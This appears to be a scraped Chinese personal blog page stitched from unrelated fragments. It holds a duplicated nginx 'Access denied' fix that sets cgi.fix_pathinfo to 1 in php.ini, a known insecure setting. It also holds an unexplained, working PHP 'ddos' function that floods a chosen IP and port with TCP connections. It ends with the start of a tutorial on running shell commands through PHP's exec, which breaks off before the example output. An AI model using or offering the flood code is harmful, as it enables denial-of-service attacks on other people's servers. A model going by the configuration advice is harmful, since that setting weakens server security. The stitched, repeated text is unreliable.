Nginx下出现Access denied解决办法
在php.ini
配置文件中,修改cgi.fix_pathinfo
配置,把原来的
cgi.fix_pathinfo=0
修改为
cgi.fix_pathinfo=1
个人博客网站,记录一些日常遇到的问题。
在php.ini
配置文件中,修改cgi.fix_pathinfo
配置,把原来的
cgi.fix_pathinfo=0
修改为
cgi.fix_pathinfo=1
function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
error_reporting(0);
ignore_user_abort(TRUE);
$exec_time = time() + $time ;
$byte = 0;
while(1) {
$byte++;
if(time() > $exec_time) {
break;
}
$fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
if($fp) {
fwrite($fp,$byte);
fclose($fp);
}
}
}
ddos();
一般情况下,很少会用php去执行linux命令,不过特殊情况下,你也许会用到这些函数。以前我知道有二个函数可以执行linux命令,一个是exec,一个是shell_exec。其实有很多的,结合手册内容,介绍以下6个函数。
1.exec函数
<?php
$test = "ls /tmp/test"; //ls是linux下的查目录,文件的命令
exec($test,$array); //执行命令
print_r($array);
?>
返回结果如下: